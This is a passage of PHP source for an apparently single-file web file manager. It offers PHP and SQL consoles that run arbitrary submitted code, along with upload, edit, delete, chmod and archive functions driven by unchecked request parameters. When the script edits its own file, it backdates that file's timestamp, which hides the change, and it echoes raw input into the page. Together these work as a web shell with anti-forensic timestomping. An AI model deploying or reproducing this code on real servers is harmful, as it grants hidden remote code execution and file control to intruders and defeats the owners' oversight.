AACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
